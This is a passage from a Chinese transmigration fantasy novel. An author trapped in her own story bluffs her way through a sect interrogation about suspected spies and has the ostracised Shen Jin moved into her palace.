阿雾噘着嘴手叉腰气哼哼瞪她像看她能说出什么花。
凌酒酒盯着一豆幽幽燃着的烛火喃喃道:“如果有一个人……他的处境都是因为你设定造成的,他可能……也本身也不是个坏人,却是因为你给他造成的处境而不得已变坏了,你说……你会不会心里会有点觉得愧疚的?会不会想拉他一把?”
“……”阿雾当真听不懂了,皱着眉头思考了好几遍才不解道:“那干嘛……要给他设置不好的处境呢?不给他设置不好的处境不就好了?”
凌酒酒只能无言朝她笑笑。
不过凌酒酒发现这修仙世界好就好在伤似乎都能好的快些,没几天她也能重新上蹿下跳,对着天同宫的一颗大树试着结印催大招。
“天同在辰,朱鸟在卯,勾陈在子,玄武在戌……”
“辰为满,卯为除,子为开,戌为成——”
“——术成!”
一缕微淡澈蓝气浪在她掌中荡开,但转瞬即逝了,凌酒酒试着去抓那散沙一样的灵力却只是徒劳。
“奇怪……怎么不行了啊?”
她一鼓作气又试了一遍。
还是不行。
她在脑中大喊:“系统!我的大招怎么不见了啊!”
系统悠哉的语气让凌酒酒简直错觉它如果有原身那应该是在晒太阳,【说不准,它本来就不存在呢?】
“……你开什么玩笑?”
系统这回连话都不说了。
左右催不出,凌酒酒放弃了,想来这大招是只在危难时刻才能显现。干脆坐在一边的石台上继续想有关沈烬的事了。
凌酒酒最近虽算勉强给他化解了碧寒潭、扫雪欺辱的两个地方,但远远不够。
毕竟只要他留在七杀宫,那赵惊堂一行对他的欺凌总不会断的,恐怕迟早有一日会惹恼了他。
原书中,沈烬在七杀宫待了七年。
七年后,他逃出了对他而言仿若囚牢的栖星宫,很长一段时间再没出现过。等再出现时,他就已经是所谓的灾星了。
有没有什么办法,是能够不让他不受他们欺凌了的?如果……
想到什么,凌酒酒眸光忽地一亮!
-
凌酒酒还在想沈烬的去从时,紫微殿这边赵惊堂正在告状。
赵惊堂自从那日受过刑罚后,惨绝人寰,在卧舍杀猪一样嚎了几天后像豁然省悟,不仅认真向七杀星君跪地认了错还声称又要事要禀。
栖星宫内是严禁弟子打小报告的,但赵惊堂称此事或可与莫飞澜等细作一事相关,七杀星君担忧误了大事还是带他至紫微殿当众禀明了。
紫微殿上,众星君肃然危坐,武曲星君沉声问:“你说,你要告栖星宫内有隐藏细作?”
“是。”赵惊堂还不能太直起身,微微歪着身跪地磕了个头,努力控制着自己脸上的表情郑重道:“弟子要告——天同宫小宫主凌酒酒,或可是外宫细作!假冒伪劣,移花接木,包藏祸心!”
话毕,在场所有星君都蓦然变色,七杀星君顿时厉斥:“休得胡言!”
“弟子没有胡言!”赵惊堂立刻又磕了个头,仰面看着高高上座的凌云木将自己的猜测一一说出口。
自从凌酒酒坠入碧寒潭后就声称自己失了忆,可这失忆的节点未免也太巧。毕竟一句失忆就可名正言顺的一问三不知,最适合细作从中钻空子。
凌酒酒虽然今年才被接回栖星宫与宫内弟子都不太熟,可肉眼可见的她的性格自碧寒潭后便变得不太一样。在此之前,天同宫的小宫主是出了名的温柔平和、至善至柔,连话都不会大声说。
可现在却变得活泼奔放甚至可以说是泼辣,就算是失去记忆……也不会把性格都失得仿佛被夺舍了般吧?
最关键的,还属那日她突然精进的内元术法。
都说天同宫的小宫主是个命格清奇和根骨为零的废柴,可却突然有如此强劲的功法,又怎能不令人生疑?
他一一说完,又俯了一礼。就听有星君沉吟片刻淡道:“就凭这些,也不能就断言她乃外宫细作,若是冤枉于人,你当以污蔑诽谤罪处之。”
赵惊堂一时张了张口不知该说什么了,他就知道……这些人口口声声嚷着公平可到头来还是要护着这个小宫主的。
堂上一直看不出情绪的凌云木这时开了口,“好了,你所举控,本君都知晓了,本君自会追明真相还诸宫一个公道。”
赵惊堂这才松了口气称是退出去。
赵惊堂走后,凌云木的视线从诸星君的身上一一一掠,淡笑问:“诸位,怎么看呢?”
众星君纷纷面面相觑了番,天梁星君首先起身回禀,“宫主,此子先前与凌酒酒冲突,存有矛盾诸宫皆知,以我看,他所言也不必全权当真。”
“所言极是,”天相星君也说:“凌酒酒若心怀叵测,碧寒潭一事便万不必为沈烬开脱。想来是此子因先前之事心怀记恨,信口胡诌的。”
凌云木便笑得更深,道:“诸星君不必顾虑凌酒酒与我的关系,她总归先是星宫弟子才是吾女。我知诸位对酒酒当日术法进益一事也大有疑虑,可畅所欲言。”
殿下一众星君便像被戳破了心思纷纷你摸摸鼻子我咳咳嗓,一时交递目光都不禁笑了。
众星君对凌酒酒那日的术法自然是存着疑虑的,毕竟当年凌酒酒显星批命,是上一任天医星君拍板笃定的根骨缺略无法修行至顶,这突然迸发当然令人诧异。
而得知真相的凌云木,总没法称是自己存着些许私心浅庇了沈烬。
毕竟那孩子才受过重罚,当日若非他暗中出手相帮,伤的便定是凌酒酒,如今几人虽闹了一场但都未曾受大伤也算庆幸。
“不如这样吧。”站在殿上思忖一二,凌云木想到
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什么,笑道:“我们就想个法子,浅试探一下,如何?”
-
凌酒酒刚登上“病”殿前的广场,远远就看到一个有些熟悉的身影,立刻唤道:“沈烬!沈烬沈烬!沈烬!”
长生十二神殿之第七殿——“病”殿:主问药、主疗愈。也是天医星君的地盘。
沈烬负手而行,刚从“病”殿的大堂走出,看来已伤愈的他面上终于像有了一些血色。宫服洁净,步履不急不缓,远望似清晨露珠在针叶雪松上折射的第一道光。
看见凌酒酒,他像也微微讶了下,而后便径直朝她过来。
阿雾伴在凌酒酒身后像有些无语似的叹息了口气摇摇头。而凌酒酒就一眨不眨地看着他朝自己走来,心下忽然有些复杂。
世间明月,此间少年。
这是凌酒酒脑海里第一时间闪过的话。
如果……他真的没有黑化,如果他所处的处境一直都是善意的,或许他真能和江遥一样能成为为人敬仰的人物吧?
怔松间,沈烬已经走到她的身前,眉间似有若无地微蹙目光却是往她的身上看了看。
凌酒酒一双杏眸笑吟吟的盯着他问:“沈烬,你来‘病’殿干嘛呀?”
他没答,只是观察似的眼神像更深了些。
而凌酒酒就顺着他的目光也低头看了看察觉到他的目光好像是在观察自己的……腰部以下部位时,立刻也有些尴尬地干巴巴笑了,然后展示似的在他面前灵动转了圈,“没想到吧?我这么快就好了!我自愈能力可强了,我厉不厉害?”
阿雾在旁没眼看地悄悄伸手照着她的屁股就重拍了一下,凌酒酒前一秒还嘚嘚瑟瑟的笑“嗷呜”一声就垮下来,揉着屁股龇牙咧嘴。
“……”沈烬就也像没眼看地别了别目光淡声说:“是挺厉害。”
凌酒酒瞪了偷笑的阿雾一眼边揉着屁股边皱着脸问:“沈烬……你来‘病’殿干嘛啊?你身上的伤……还没好啊?”
沈烬没说话。
片晌他将一枚小小的白瓷药瓶放进她手上。
凌酒酒盯着瓶上的字念出声来,“大力开火丹。”
“……”沈烬轻吸了一口气,“夯烎丹。”
凌酒酒:“……”
沈烬:“护息养气,加败火的,你……”
他张了张唇又欲言又止,索性什么都不说了,摇摇头从她身边走过像要径直而去。
凌酒酒握着药瓶追了几步,“沈烬,你上火了啊?”
这会儿是挺上火的。
他不知道该怎么答,想了想还是说:“有点……这瓶送你吧。你那日……内元损耗过大,补上一补总归没坏处。”
凌酒酒愣了愣没想许多乐盈盈地收了,这会儿心里倒有点小兴奋,“那谢啦!”她就说,她干儿子在黑化前还是很体贴的三好少年嘛。
阿雾在旁生无可恋地摇头。
凌酒酒又道:“对了,沈烬,我正好有一件事想问你。”
沈烬目光淡静示意她说。
凌酒酒斟酌,“你有没有想过……离开七杀宫啊?”
沈烬的眸光却骤然凝缩了一下,看凌酒酒的眼神也突然变得刺探而冷疑。
沈烬当然是想离开七杀宫的。
这栖星宫曾予他重生,却又断他筋骨;他们忌他命星,欺他辱他,却又不肯放逐;
这偌大星宫对他仿佛一座巨大牢笼,他冲不破,逃不去,他们都恨不得他此生被困囿在这角落庸庸碌碌地老去、死去。
可他不行,他必是要逃的。
不仅要逃,他还要将这些年的欺辱全部一一报复。
可是……
她又是怎么知道的?
又都知道些什么?
11.011.试探
这寂静的一瞬间沈烬悄声无息背在身后的手都快捏诀了,只听凌酒酒又道:“我是想着……你们七杀宫的人对你好像都不太友好,你要不要考虑考虑……来我们天同宫?”
沈烬的眸几不可查地一漾。
指尖引动的红光也一瞬消散隐入袖口。
去天同宫?
凌酒酒眼睛亮澄澄的,越提议越兴奋,“我们天同宫好哇!小桥流水,宜室宜家;”
“冬有腊梅,夏有荷花!”
“而且我们天同宫弟子少规矩也就更少,整个大殿大多时间就我和我师父那个白胡子老头住着……哦对!还有阿雾。”
阿雾在旁眼睛都快瞪出来了,凌酒酒还在说:“天同宫人少、规矩少,但是美景多、美食多、好玩的也多!跟你们那光秃秃又死板又严苛的七杀宫比别提多自在了!”
“就是……你这七杀宫的本命术法到了天同宫可能就没法精修了。不过……”
不过他即便在七杀宫,也一直是个处于边缘人人忌惮人人提防的存在,又有什么区别呢?
左右他们也不想授他本命术法,在天同宫还能少些欺凌。
沈烬怔讶看着她眸中的惊诧与不解也在渐渐放大,一时思绪纷杂没说出话来。
沈烬原本想,他在七杀宫中先忍辱负重,这七杀宫对他诸多顾忌警戒,他身处多年始终没找到突破口。但只要他不起风浪渐渐让他们放松警惕,他总能找到机会的。
可如果能入天同宫……天同宫在十四宫中是出了名的随性自由,那他想离宫的想法或许能够轻松许多。
这微秒的一瞬他想了许多,半晌唇角翕动,“我……”
他想问为什么。
可还不等问,又一位星从自远处匆匆而来,称是宫主唤凌酒酒即刻去往紫微殿一趟。
凌酒酒点点头应下来,转面向他又期待兮兮地一笑,“沈烬,我知道你可能有些顾虑,但是没关系,你先回去想一想。”
“你要是想好了可以随时告诉我,拜拜!”
捏着瓷白的小药瓶朝他摆摆手。沈烬看着她的背影渐抿起唇。
入栖星宫数年,沈烬向来没觉得这星宫里有什么美景,再美的景色不过华笼,没人会因为笼子上攀援的花就心甘情愿困囿。
今天的阳光倒是不错。
只可惜。
他终是要离开栖星宫的。
-
凌酒酒前脚刚踏进紫微殿,就察觉到气氛有点不太对。
十二位甲级星君加三十二位乙级星君在大殿围列成三排,数位星从陈列在侧像严阵以待,像等着审判什么似的。
……我靠,这是发生什么啦!
脑中的系统悠悠说:【恭喜你,宿主,悠着点答,不然你可要遭老罪喽。】
啊?
还没等她回神,殿上的凌云木就已经站起来走向她,面上的神情倒还是和往常一样的慈和温柔,笑道:“别怕,酒酒,只是你回宫这么久了,虽然与众星君都已见过,但还不曾正式统一拜过,众星君顺便有些话想问问你。”
她示意凌酒酒向众星君挽个正式的执星礼,凌酒酒就愣愣地向两边一一俯首执礼。
一众星君打量的目光已经纷纷落在她身上。
执星礼准确无误做完,凌云木似有若无一笑,又道:“酒酒,这个月休沐过后,你便要同诸宫弟子一同到长生殿修学了。”
“只是你多年未曾回栖星宫,诸星君也不知你对栖星宫所知几何、送至几级的班斋比较合适,所以想测试你一二,你可愿意?”
凌酒酒闻言险些一口老血喷出来,也一下明白了他们此次叫她来的目的。
原来是想试探啊!早说啊!整这虚头巴脑的……
这世界都是她创造的,设定问题肯定是难不倒她的,压根没带怕的!放马过来不在话下!
她表面像有些畏怯似的滴溜溜转转眼睛轻声问:“难、难吗?”
“皆是些我们栖星宫中最基础、却不为外人知的问题,你不用怕。”
呼!那还好还好!凌酒酒故作紧张地轻轻点点头。
众人纷纷正起神色打起精神来。凌云木问出第一个问题,“可还记得,我们栖星宫中的星命等级与使命?”
嚯,小问题!凌酒酒深吸了一口气像压下了紧张仰头背手像背书一样开始侃侃作答:
“栖星宫分有等级,自下而上为:星从、星徒、星使、星官、星主、司命、星君;
“星使及以上,皆已是授予职衔星命,司掌所辖星宿,身肩责任、担负使命;
“星从主掌宫内日常事宜;星徒主预备修行;
“星使司掌人间道场;星官司掌道场回执;
“星主以上,皆司掌所辖星宿的星象稳定、罗布星盘等。更有泽布人间、平衡万物、平乱灭煞之责。”
她一口气滔滔说完,人也像有些小骄傲似的扬起了小脑袋瓜。诸星君就细微交递了一下眼神太阳星君又问:“可还记得,北斗甲级星系有哪些?”
“紫微、天机、太阳、武曲、天同、廉贞;”
“南斗?”
“天府、太阴、贪狼、巨门、天相、天梁、七杀、破军。”
“南北斗的区别是?”
“分阴阳,建四时,均五行,移节度,定诸纪;”
“北斗主‘杀’,现身阴阳四时;南斗主‘生’,现身万物向荣;生杀平衡,皆系于斗!”
一口气答完,周围轰起一声交头接耳的私语。已经有几位乙级星君在角落轻点着凌酒酒互相点点头,应当是已经认可了她目前的身份。
凌酒酒听着周围的议论声心里像不由自主地更得意了些头昂得更高了。笑话!她当初为了写小说几乎把紫微斗数倒背如流,连命宫入哪个星走哪个大运会发财都会看了。若是写小说扑街,她简直就想支个摊子在校门口算命去了。
这点小问题,还能难倒她?
凌云木就在旁看着头昂得跟个小天鹅似的她像无奈暗笑笑摇头。太阳星君见状退下去换到贪狼星君摇着扇子悠悠上场。
“甲级十四星中,主姻缘桃花的是?”
“就是您呀!贪狼星君!”凌酒酒调皮地跟他抛了个媚眼调侃嬉笑。
贪狼星君便用扇子轻点点她
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像遇到知音般眨了下眼一笑,“主财运的是?”
“武曲星、太阴星!”
“太阳星为?”
“官禄主;主天下政治、权贵!”
“巨门星为?”
“是非主;主天下人际关系、交流口才!”
又几问答完,周围的私语声更大了些,而贪狼星君也优哉游哉地笑点点头回身向凌云木一礼道:“宫主,我的提问都问完了,没什么可问的了。”
“有劳贪狼星君了。”凌云木也微微颔首。
下一位是巨门星君上了场。
“天粱宫的五行所属与宫徽为?”
……
这数位星君车轮战似的一一上场问了个遍,从宫中层级设立、到各宫所司使命、甚至到每个宫的宫徽宫纹、所属五行都问到了。
凌酒酒皆一一准确快速地答出来。
周围点头的人也越来越多。凌酒酒听着四周越来越多的声音不禁更加傲然。
最后一个上场的是武曲星君,问的问题多集中在了术法上,他问:“可记得,贪狼宫的本命术法是什么?”
凌酒酒:“贪煞。”
“破军宫?”
“破灭!”
“七杀、破军、贪狼三宫,所组成的什么术法有何效用?”
“杀破狼——以七杀宫肃杀、破军宫破灭、贪狼宫贪煞三宫本命术法合一之法,合之攻无不破、坚无不催,威力之强劲,天下共震!”
“那又何术法可组成天下至高结界?为杀破狼都不能破?”
“诸星诀——以十四宫术法合一结界。为维谷结界;外难入,内难出。可护世间万物,亦可困死万物!”
凌酒酒一一答完,歪着头眨眼一笑,“现在栖星宫外用的就是这个!”
周围窸窸窣窣的声音更是大了些,有八成的人看似心里像已有了决断,凌酒酒也有点大为过瘾般地长舒一口气用手扇扇有些出汗的领口。
呼!她这辈子还没有一次考试能这么痛快这么顺利!果然在自己的世界里如鱼的感觉也太爽了!
脑中系统也说:【哇,宿主,记忆力可以啊你,够好的嘛!】
那是!也不看看我是谁?
这时七杀星君面对凌酒酒严正端肃地问道:“七杀宫的镇宫之卦雷火丰,镇在七杀宫哪里?”
周围一刹顿时静下来。凌酒酒讶了一下刚想说“七杀宫的镇宫之卦不是离火挂吗怎么是雷火丰呢”险些脱口而出,下一秒心中警铃大作忙咬了下自己的舌头止住话——
栖星十四宫中每个宫都有一个镇宫挂来守,但是何卦、镇在哪儿除本宫司命、星君外其他人等皆不得知,更不消说她一个天同宫的小星徒。
他居然诈她!
她一口下去舌尖剧痛,话是止住了,钻心的疼却一瞬弥漫开来,甚至还漫开点淡淡血腥味,生理眼泪都一瞬涌出来。
众星君就看着她蓦地红了眼眶涌出泪面露讶异,“酒酒这是……怎么了?”
“没四,没四……”凌酒酒强忍着面部表情摆摆手心中泣血。
就是被你们这操作给骚到了……
12.012.瞎话
凌酒酒忍了一会儿痛后才泪眼濛濛出声,舌尖的痛还让她有些大舌头。
“七杀星君……您这问题就难为我了不是?七杀宫的镇宫之卦镇在哪儿我怎么会知道?你要非这么问我只能说是镇在栖星宫……”
七杀星君的眉目微微一松。
周围有星君也纷纷松懈下来轻轻笑了,还有人朝七杀星君轻睇去眼神责备他太过紧张。
凌云木也笑,温和摸摸凌酒酒的头发对众道:“诸位,可还有什么疑问想问吗?”
众星君纷纷表示没有了大殿气氛也渐渐松缓下来。
凌酒酒这会儿却不乐意了,还盛着泪的眼眸滴溜溜地在众人间转了圈,忽然有个什么想法故作不悦道:“娘,师父师叔师伯们,这回说吧,是谁朝你们说了什么?”
凌云木与众星君都错愕一顿。
她努力眨眨眼让自己的眼泪挤得更多一些更加摆出委屈的样子嚅嚅开口:
“我知道……你们今天叫我来问这些,绝对不仅是因为所谓的修学测试的;”
“我当然可以因为一些流言当众被审问自证,可是绝对不能容忍被冤枉诬陷!”
“所以,你们实话说吧,究竟是谁和你们说了什么?他又是怎么告状才让你们怀疑我的?……如果你们现在还怀疑,我还可以……可以……呜呜呜……”
她说着说着还像情绪上头似的低头抹起泪来,原就因为舌尖的痛眼眸红红,这么泪眼朦胧的样子还真有几分委屈可怜。
系统轻咳一声,【宿主,戏过了。】
你闭嘴!
四周凌云木和一众星君就不禁更惭愧也尴尬地对视哑笑,很快纷纷上前将凌酒酒围成一团哄小孩儿似的七嘴八舌地哄了哄。
凌云木搂着她的肩,“的确是有人提出了些质疑,我们才叫你到这儿来的。酒酒,娘隐瞒真相,刻意试探你,是娘的不对,娘向你道歉。”
“但宫中既然生了质疑,总要平息声音,否则任由流言肆虐恐怕只会起更大的风雨。你今天表现得非常好。在九鹭山多年都不曾忘却栖星宫诸事,娘真的很惊讶,也很高兴。”
凌酒酒盯着双红彤彤的眼睛在她怀里抬头,“那,那你们现在还有什么疑问吗?”
凌云木微笑摇摇头。
她便也甜甜笑起来又用力抱了她一下糯声说:“娘最好了!”
这时,乙级星君天钺星君突然道:“宫主,我还有一疑问。”
凌酒酒险些一口背过气去。
……你刚干什么来着你!
众人就又沉定下来目光纷纷落在他身上。天钺星君道:“我想请问小宫主,当日在七杀宫,为何你的术法会突然突飞猛进?今日现场,又可否能为我们再展示一二?”
大殿蓦地陷入一阵另一种沉静之中。
凌酒酒的心中也咯噔一声。
完了……
她在心中大吼:“系统!系统!怎么办啊系统!”
“我这几次用这个大招不知道为什么使不出来了!你快把我那大招放出来啊系统!系统!”
系统却毫无声响。
……靠,这会儿跑了?
要它何用!
她正紧张间,凌云木眼眸闪动已经也用一副是否的目光看向她,凌酒酒顶着她问询的眼神一时很不想让她失望干巴巴笑应承下来。
“啊哈哈,那就……展示一下?哈哈……啊哈哈……”
算了!先硬着头皮往上莽吧!
说不准关键时刻她这大招就又出现了呢?
大殿众人纷纷四散开来,天钺星君手一挥结了一道防御阵在凌酒酒周围,以防术法一时的冲击太强而波及旁人。却将凌酒酒独自一人也罩在了里面。
凌酒酒见状一时不禁更加紧张下意识看向凌云木,就见凌云木像嗔怪又无奈似的浅笑着细微地向她点点头,凌酒酒便立刻像有了主心骨似的闭眼沉了一息压下紧张开始结印。
——天同在辰,朱鸟在卯,勾陈在子,玄武在戌……
她在心中默念。一股幽蓝气息很快在她指尖飘荡开来。
却很微弱。
气脉微微喘息间,刹那灵力就如同被风吹散的蓝烟倏忽飘散。
结界外的众星君也立刻响起了一声讶异的窃窃私语声。
凌酒酒心一跳不禁更紧张了,抬眼见凌云木还是那副目光平静的样子开始试第二次。
——天同,天同在辰……
然而也不知是她实在太过紧张还是为何,第二次竟连微弱的气脉都结不出来。
四周讨论的声音越来越大。半晌周身的结界突然消散,只见方才提出疑问的天钺星君已经用一种冷厉质疑的神色在面对着她。
“小宫主,你能否和我们说说,这是为何!”
四周也渐渐沉静下来众人的目光纷纷落在她身上,神情也都如出一辙的狐疑质问。好嘛,刚才那一堆都白干。
她看向凌云木,凌云木的面色这一刻才稍稍沉重了些微低着眸像思忖什么。
然后还不等她说话,凌酒酒忽然急中生智,反仰起头嗔怪着他们说:“你们都这么看着我做什么?有些事情我没说……是怕你们不信,也是怕有心之人知晓了心生叵测,这才没提的……”
诸星君皆不解地一怔。
凌云木都眸光讶异微漾了一下用种奇怪不解的目光看着她。
天钺星君:“此言何意?”
只见凌酒酒足尖一转面向了凌云木,裙摆都转成一朵灵动翩跹的花,向凌云木郑重一礼煞有其事道:“娘,女儿前些时日,曾梦到了太昭神。”
太昭——自宇宙虚霩中诞生的祖神,亦是在天地间布下日月星辰的神明。可以说是栖星宫的老祖宗了。
“太昭神君怜我,命格清奇却根骨匮虚,所以为给女儿自保之力,这才为女儿身上私加了一道神力。”
“此神力,可保女儿在身处危难之际,内元突飞,术法猛进。我原以为这只是一个梦,未曾想那日在七杀宫时,赵惊堂突下杀招,千钧一发之时竟真教女儿给抵挡了回去,这才知晓,当日当真是太昭入我梦境。”
“七杀宫那日之后,我其实也在私底下尝试过,结果也不曾试出来。本来刚刚想着或许此刻面对众星君的面心里紧张说不定可以,没想到……也不行。”
“想来这道神力当真是在女儿只有生命危险的时候才能使出来了。方才无法现眼于诸位星君,真是令诸位见笑了唉……”
她说着还十分遗憾似的悠悠一叹。众星君就更诧异地交头接耳,凌云木更是用一种惊讶瞪着眼看人胡说八道还不能戳破的古怪眼神看着她。
凌酒酒听着周围窸窸窣窣的声响心里都要笑出声了。开玩笑!她一小说作者最不缺的就是睁眼编瞎话的能力,脸不红心不跳。
系统这时突然有了声响,【哇,宿主,你真是张口就来啊,说谎都不用打草稿。】
……我去这会儿你回来了你?给我消失!
系统没了声响。
天钺星君吹胡子瞪眼,“笑话!老夫在栖星宫修行多年,怎从未听闻过太昭神君曾予人这副能力?简直闻所未闻。”
“天钺星君也是命宫全吉星入命吗?”凌酒酒这会儿倒反而什么都不怕了,用一种惊奇又带些天真的眼神看向她。
天钺星君一哽。
“这倒是也未听闻过……”她又一叹,语气更是无辜。
天钺星君一口气卡在肺里下不来也没上去。周围一些星君不禁暗笑。而凌云木这一刻也像看明白了什么般唇边隐去一抹似有若无的笑意,对凌酒酒一咳道:“不得无礼。”
“哦。”凌酒酒立刻恢复乖巧模样
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吐吐舌头朝天钺星君致歉一礼。
凌云木叹息一声最后说:“好了,诸位。”
“酒酒综述,大家也都听到了。神明本就无常,此事是真是伪我与诸位一样皆不得知,只是历时可证一切,若是真,未来总还有机会证实,若是假,也总有马脚败露的一天。”
“此事现下应当也算明了了,不知诸位星君对凌酒酒身份可还有疑问?若无了,还烦请诸位回诸宫后宣明一二。”
众星君纷纷向凌云木执礼道了声是。
凌云木便温声让凌酒酒可先回去了,凌酒酒却忽想起让沈烬入天同宫的事,趁机提起,“娘,我还有一件事。”
哪知提议刚一说完,却是七杀星君坚决强烈地,“不可!”
“为何不可?”凌酒酒怔了一下莫名心下忽升出点怪里怪味的忿意,环视着周围定声道:“敢问诸位星君,你们觉得此事发展至今,究其根本原由是什么?”
还不待有星君说话,凌酒酒又道:“若非那日赵惊堂一行对沈烬蓄意打压欺凌,我看不过从中插手,或许我也不会在此时此刻在这大殿上被你们像犯人一样考察审问,更不会发生这接二连三的事了。这还是我看见的,那我没看见的呢?”
“我知诸位忌惮沈烬命星,可命星命格一事对人影响多少本就无定论。若非七杀宫内对沈烬诸多微词欺凌,又怎会有沈烬如今在七杀与许多弟子的矛盾与尴尬处境?况且,七杀星君也是纵着宫内霸凌的吗?”
她怪里怪味地望了眼七杀星君,七杀星君面色灰沉地低了下脸。
“左右自碧寒潭起沈烬就是受我牵累,那不如就入我们天同宫。反正七杀宫未曾想授他本命术法,他到哪个宫都没差,那不如来我们这儿还能热闹些,是吧师父?”
她说着向天同星君抛去个眼神,天同星君泊尘被点到名立刻“啊……啊?”了两声,隔远在队伍里立刻嗔怪地皱眉啧了她两声。
这小丫头,怎么做事之前都不带跟他商量一下的呢!这这这……
周围其他几个星君也神色各异地互换了下眼神,一时噤声无言。
凌酒酒退出大殿后,凌云木立刻问:“诸位,怎么看呢?”
“绝对不行!”武曲星君先说:“此子命宫诸多灾邪,当初未曾杀他已是开恩,他这么多年来在七杀宫,是陌严师弟留意看着才从未掀起风浪,若是让他去天同宫,岂不有放虎归山之患?”
七杀星君陌严这会儿反而不说话了。片晌,贪狼星君合上扇子吊儿郎当开口,“可酒酒那小丫头说得也挺有道理啊,沈烬至今未起风浪,究竟是陌严师兄看着的缘故还是他本身就没风浪,谁都不得知。左右那天同宫好山好水好无聊,小丫头好不容易回了宫交了朋友,让他陪过去玩一玩也没什么不好。”
武曲星君立刻反驳,“左右不是入你贪狼宫,你当然说得轻巧!”
“欸——”贪狼星君一把伸过扇子按住他指来的指尖,“我倒是想要,当初沈烬这苗子来的时候也不知道诸宫都是怎么眼巴巴地瞧着。若他命入贪狼,说不准也不会发生这么多事了。”
贪狼本就自由浪荡,贪狼星君当初也是主不以命星论吉凶珍才惜教的,可惜当年十四宫反对的声音太多他的声音自然被淹没。
一群人七嘴八舌地讨论了一番,有说该去的,有说不该去的,场面也很快分成了两派。
最终两派人目光都聚焦到凌云木身上,凌云木沉吟片刻,缓缓道:“我倒觉得……可以一试。”
“宫主!”
反对派的人立刻纷纷出声。贪狼星君挑眉一笑。
栖星宫主世间平衡,就连宫内也是如此,来了个全灾星的,又诞生个全福星的。
凌云木有时候觉得,或许凌酒酒说得不无道理。
沈烬的命格……说不准真的可以被她救一救。
13.013.衣雪
三日后,有关小宫主凌酒酒的身份确定一事在诸宫传开了,同时传开的还有沈烬即将入天同宫,不再隶属七杀宫。
十四宫内沸沸扬扬,一时之间又漫开了不少流言八卦,窸窸窣窣传得猛烈。
——哇小宫主为了沈烬特意把他要去天同宫啊!
——小宫主真的很“宠幸”沈烬呐!
——莫飞澜当初到底多想不开啊要暗害小宫主,被小宫主看上是真的很享福啊!
——就是啊,天同宫吃得好、宫殿漂亮、规矩少、人也少,关键天同星君也主无为而治为人宽宥。我要是能被小宫主看上就好了我也想入天同宫!
——你就别想了你你也不照照镜子看看你自己!
——……
凌酒酒没有理会外面乌七八糟的流言,在沈烬入天同前两日就让阿雾将他未来所居卧殿收拾好了,并在当天主动跑到七杀宫接他。
“沈烬!沈烬!”
“要搬家啦沈烬,我来接你啦~”
七杀宫的卧舍是两至四人居一间的。杀破狼三宫因威力强劲为栖星宫砥柱,故每届的弟子也会留的多些,以充弥补预备。
可惜这些年来三宫无论怎般的填补都挽回不了愈渐寥落的事实,甚至自星官以上的位置都一直空着,好不容易破军宫出了个破军星官莫飞澜,还就这么折了。
沈烬在七杀宫的卧舍是二人居,很小,也空荡。
凌酒酒去时他正在自己的塌前收整行李,身上的七杀宫宫服已经换下来,换了套黑色束袖常服。已经打包好的包袱也是小小的一个看起来没多少东西。
他正将几套七杀宫服整叠好放在榻边。凌酒酒从门口探进个脑袋。他抬眸的一瞬恰巧碰到眸光微顿了一秒淡声说:“走吧。”
转身时,恰好碰见另一个身影。
七杀星君。
他不知是何时站在了凌酒酒身后,负手而立,面上神情是一贯的刚肃。
凌酒酒愣了一下连忙双脚并拢站好了,乖巧恭敬叫了声,“七杀星君。”
“嗯。”七杀星君淡淡回应,目光却是穿过了凌酒酒的肩看向她身后的沈烬,听不出语气地说:“东西,都收拾好了?”
“是。”沈烬平静颔首。
“七杀宫的东西,也都留下了?”
“是。”
七杀星君面色不变似沉默了,片晌才道:“到天同宫后,安分守己,切勿惹是生非。”
“天同宫星君为人虽平易,但也别想着耍什么花样,要知道,你本命星还属七杀,在一天,本君就可以降罚于你。”
“若你真有什么异心,本君定严惩不贷。”
“……”
沈烬在旁静垂睫没说话,凌酒酒倒有些无语了。大哥了人都要走了你还要批一顿……没事吧?
她在旁边抬着眼睛瞄他心中腹诽,沈烬却仿佛经年累月的习惯般神情渺淡。七杀星君已然背着手转身离远了。
出宫时,又碰到了赵惊堂。
“呦,这是谁呀?哦……原来是小宫主和她的新宠啊!”
赵惊堂上次因为诬告的事件没有被罚,但总归无法让眼睛里含不了半颗沙子的七杀星君潦草作罢,回来后还是又罚了他十杖,直接让七杀宫里又一番猪叫缭绕。
他此刻走路还有点一瘸一拐,被秦修卓明架着在院子里复健。
凌酒酒原本没打算搭理他,顿了顿还是杏眸一弯笑了,露出一口甜美无害的小白牙。
“呦,这是谁呀?哦……原来是屁股开花的赵师兄啊!”
“凌酒酒!”赵惊堂像被戳了痛脚一下恼怒,被扯到了伤处呲了下牙一手指住她,“我告诉你你别得意!我现在就是还没找到你的证据,我知道你根压根就是假的小宫主!等我找到证据了你死都不知道是怎么死的你!”
是么?
凌酒酒的目光也一瞬冷了,没说话,只盯着他双手开始做起结印的样子。
赵惊堂就盯着她这眼神和动作心里突然有点发虚,下意识往后退了一小步警慎道:“你干什么?……你干什么你?我告诉你凌酒酒你可别乱来啊这是七杀宫!你敢在现在动手那就是你先寻衅滋事惹事私斗的不罚你个几十杖这事没——”
沈烬意味幽深地向身旁瞥了瞥。
都学会兵不厌诈了。
她本来也没打算真的打他的,只是囫囵做了个手势就口动配音“轰”了声一手伸过去。赵惊堂就立刻屁滚尿流跌在地上抬袖挡着脸“啊啊啊啊啊”地乱叫,秦修和卓明更是早就溜得老远。
凌酒酒顿时笑得开怀,“啊哈哈哈哈哈哈!”
等赵惊堂反应过来受了骗,更是恼羞成怒一手指住他,“凌酒酒!”
凌酒酒就立刻又做了个手势上前虚晃了一把,骇得他肩膀一抖登时又不敢说话了。
凌酒酒的心情彻底大好起来,纤细的指尖在半空腕了个花笑吟吟,“赵师兄,您还是先好好练练术法,等能抵抗得了我的大招了再来说我死不死的吧!否则恐怕有一天我还没事,你倒先折在我们栖星宫自己的历考历练上啦!”
赵惊堂切齿愤盈瞪着她却不敢说什么。凌酒酒已经十分开怀地向沈烬一笑,“走!”
两人转身。
看着他们俩的背影,赵惊堂愤然切齿,呢喃:“早晚有一天……等我……”
沈烬的步子稍微落后凌酒酒一点,在转身的刹那似有若无向身后瞥了瞥,眸光微深了一下还是指尖微动划去一道极微术法。
赵惊堂的头顶正有一颗柿子树,一个长得圆润饱满的硕大柿子忽然掉下来,不偏不倚恰巧砸到赵惊堂的屁股上。
赵惊堂正絮絮叨叨的话瞬间停了骤然传来“呜嗷”的一声。
-
凌酒酒为沈烬在天同宫安排的居所是一个单居,有一个小小的居殿还有一个小院子。院子中央是一颗桃花树。
